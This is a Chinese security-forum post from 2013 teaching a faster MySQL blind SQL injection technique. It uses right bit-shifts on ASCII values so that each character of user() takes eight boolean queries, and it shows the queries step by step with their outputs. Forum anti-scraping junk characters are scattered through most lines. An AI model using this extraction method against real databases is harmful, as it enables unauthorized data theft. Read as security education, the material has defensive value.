找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2534|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位; a, s' I$ B8 w+ e

9 N. `3 f! K# X2 U) [ * T4 ]; P( r+ g8 }  m& ]4 W# V

: z/ d, U7 w9 i) J下面将以查询mysql数据库当中user()的第一位为例:/ h& D7 i8 i" {  Q% i. n9 @/ g

, W9 s( \6 L6 H2 G  C, G* w
- K3 z( v: ]) W9 [! v3 ]2 n# }1 H, @4 b1 t: ^1 B; j
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' o+ T' w4 p% V: S9 U, A5 K; S+ S7 D6 J+ N

: S7 H! \$ I# @0 G) |9 @2 G! T( K; R" f$ d  t; B% T
首先执行如下sql语句:
& x6 p6 e# f4 T; ^- ]0 w, W+ q
; @8 s7 x6 K1 A
! B# _( d4 W; a+ p3 G0 b4 m* O. R, m: x. @2 o& J9 o  F3 B, q3 D# _2 `
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;3 e% ?+ F+ B/ G# b8 c; v' L' L

: _/ e0 M6 j7 c" e2 z" T 0 J% l+ |: s  @+ }
6 T8 F, H- v3 h2 J/ G
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的' z; d2 O1 @* D# ]
9 ]* [" f/ \4 Z8 P$ k: k

+ M) I( ^5 u/ z5 D! }4 g' m  V
+ E( D( L" L' f! ~2 v' d' K8 f第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为16 |6 p9 d8 a6 s/ C

# J  @! _1 r, O3 t* G$ u
) E. h$ _' Z# ?  v
  ^  V# G) S' |3 I' S, V如果运算结果为1,说明第一位为0,不为10 ~) h, S# E) U* y; N6 U# o
, u  Z* O8 J$ _1 A1 g) `

/ ?' T0 Y! ^- X# T+ q6 l
  g6 C) c$ Y/ P0 _+————————————–+: C2 X. t" g9 y! U
/ ]# j1 |3 m. p/ W8 ~8 ^
| (ascii((substr(user(),1,1))) >> 7)=0 |
- K* x5 Y. ^# ?8 @# M7 O: }- L" c8 \/ D+ ?$ _$ y1 g; P- ]5 V- x
+————————————–+
2 F4 _  I$ Q* x- w' j% [/ }  ~6 Y" B4 a2 }; ?8 t2 \
| 1 |4 x2 n0 P* w3 F4 k- r

* H6 K$ F/ A) M$ d/ m( }+————————————–+
) l- Y3 ]/ k! }6 R' m3 d
" `7 ^+ G+ L  q; f0 X' S) @; X: T& F1 row in set (0.00 sec)2 z0 i9 D# B% P7 Z7 b) Q- I
3 i7 _1 G6 `2 N/ @
这样我们就确定这个8bit的ascii的第一位为07 @6 D. i  {  e# C! J; d! F
; D- d% x& P3 Y7 a2 Q7 {

5 n" A4 D/ D9 \
' d* v8 N) W# W4 `第二次我们来做6次右偏移来确定前两位
0 @2 |7 A! K8 ]" t. S3 u
) S1 U+ w4 e; E/ C
7 B1 U7 B+ l8 M" Z' g) s  D: X$ s
前两位可能是01或00,即依然可以与0做比较,1 K4 v! E* ?7 @9 N

. _, I' ~* F; ~mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ ^7 \/ B& l2 s8 O
; [: P$ E# U3 _" p1 W, y" I3 A+————————————–+' ^% `3 R: ~; M' ?; ]  T! B

% L' c9 J) w' P! _3 D/ ?/ }% U| (ascii((substr(user(),1,1))) >> 6)=0 |' A' g) L  v% O) m

8 S- j% ]. V% Z2 K1 T+————————————–+
4 M/ w( j; T# D  ?  f
$ }& y1 W0 H4 n3 ^5 G| 0 |
) A% u- ^6 d; S8 e% D0 Q2 r5 G5 X: B
" @9 x9 F# h$ M1 T+————————————–+
+ S5 ~, v0 S; N9 }4 u! K! w/ ~, L; N
1 row in set (0.00 sec)9 F  h6 s* R+ c2 Y$ S
  ~, y! X. B) g$ E

% }. G2 S( ^1 k5 c# X2 f% i6 j) a! m$ F0 Y' n' y
结果为0,即第二位为1
2 U: f' `0 u$ h$ h& l6 ]+ N2 l" _$ t7 @2 D, D1 I  ]# y& e$ h3 S# Y% P

6 j: B6 Z) s. m8 S  h
/ ^, \; l: [9 \  w' Y8 H4 N) a% p开始猜测前三位为010或011
& ~4 E2 b$ r4 Q% O; M
7 ?, E. z/ @5 W  Z. B7 A
+ r, O6 m  o6 e6 C- b$ C! }/ C1 ~: P) c$ T- _! Z9 a& U& B
让我们看看010和011的ascii码是多少& w1 P- \) `9 G  V0 z/ ]
9 ?$ g% {! P5 _
; l0 O4 _' ?% F5 H' O7 w" M3 J

& V5 l0 i  i* h! }分别查询select b’011′ select b’010′3 `! P" W- E: v
8 f. N3 |/ \2 J* I

$ C7 j' I! I0 P1 e* G2 C
$ M4 k+ ?) n" V3 B; }获得结果 010 = 2 011 = 3. _1 D5 y, C! D0 j

; [7 u6 \' v' u & a( ?4 q; |! A" t

0 D! `/ s# m5 \9 F8 g- U4 g4 ~; e执行如下sql:8 D( |! H7 |9 I; B* D2 t3 p3 h; I
( C+ t7 {& |( v/ ^0 o' `; ^0 M

4 H, h4 x- d; T0 u$ I: z
$ s; d& K4 J6 c# `mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+ c' A* C1 y, I  I% k2 e3 C% m2 _+ T) u0 a+ e
+————————————–+3 y2 y8 i" O; F/ B' J% L! i

, ^! O  n+ f" @* [& d/ {" b| (ascii((substr(user(),1,1))) >> 5)=2 |
( W+ P3 y) k! z% L$ D0 m3 P$ C0 z
# K3 ^( f5 N* j" P1 L7 g0 }) r+————————————–+6 e3 b% t% H0 D/ A1 {  @

8 H1 L5 C% O, n6 P4 W( [| 0 |: ]0 `$ V5 B  }' L

6 g6 Y' ~1 o+ A2 _/ a( [5 U. W+————————————–+  s) M9 W7 r( y) Y' a/ W/ L
" o& _$ J) _+ a9 z1 U' L8 u
即前三位不为010,而是011: a2 K( d% K$ z6 Y2 [$ O
- N0 d' |+ i! [2 }' `6 P
$ M8 F6 W% }- Z4 L9 s2 n
0 S9 Q6 o; G( R3 S" V$ R0 R
直到获得最后一位. ]' O8 c. J  e8 }' b
0 N: \3 M$ x/ N/ [
/ H2 r5 x& S+ \+ \% {9 b4 o

5 U# ?0 B+ C( s最终结果为:011100103 W# b7 V9 X# [  `8 j- z2 [, a5 e
: e: l3 g. ~; r( b  t1 d& b

7 P( p) f+ A* n  ?% v. v& \0 y) a8 c3 i+ y- X
转换一下:# l# t7 J, @4 p! u6 f. W

( `5 |3 v% U7 d2 j# X. q
9 o4 k/ q0 a0 [9 @* E: A8 b# p
/ j% S+ T. |  W- gselect b’01110010′# g3 P3 n5 T, Q+ ^
( X  G. L+ Y0 [5 o  P2 z+ O! P, Y
. d2 G. R6 P, Q- S6 R- x9 g, E$ |
; n9 |: v! i/ H
查询结果
4 Q9 L9 G1 L1 C$ k5 T% x& N
  Y1 }  V: _" v1 ]$ w! B
( B3 @- ?8 d5 @1 c" \5 @6 _- f2 H* W, o: W' u) L4 @5 R
+————-+5 W2 q/ G% U* [! i

6 ], D/ O9 L5 z9 G6 T+ G7 E; i: h| b’01110010′ |, G" @+ E9 Z7 c
0 o9 y0 x& d; P; K) I* ~' o
+————-+. u$ N! O. x0 n& }

' g& ?" e( E- J! q3 |& T& f| r |8 h8 Y" g$ c0 i. T- z# V+ A

. r8 S" H7 J' T+————-+5 O9 n1 K! Q9 r  S

, K& E. Q# U/ r4 b5 D1 row in set (0.00 sec)8 I0 i% R3 h: c" y/ y
1 o7 l: U* _  k# H) Z) S3 g

" a" \/ P4 ^9 r& Y) E' v1 `- z) ]
$ @" |8 o' J, k( k这样我们就获得了user()的第一位.其它位依此类推% M( v& j5 ]% v3 |; S3 ]

) q* [! ^& a* t+ e  }' `/ g. d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表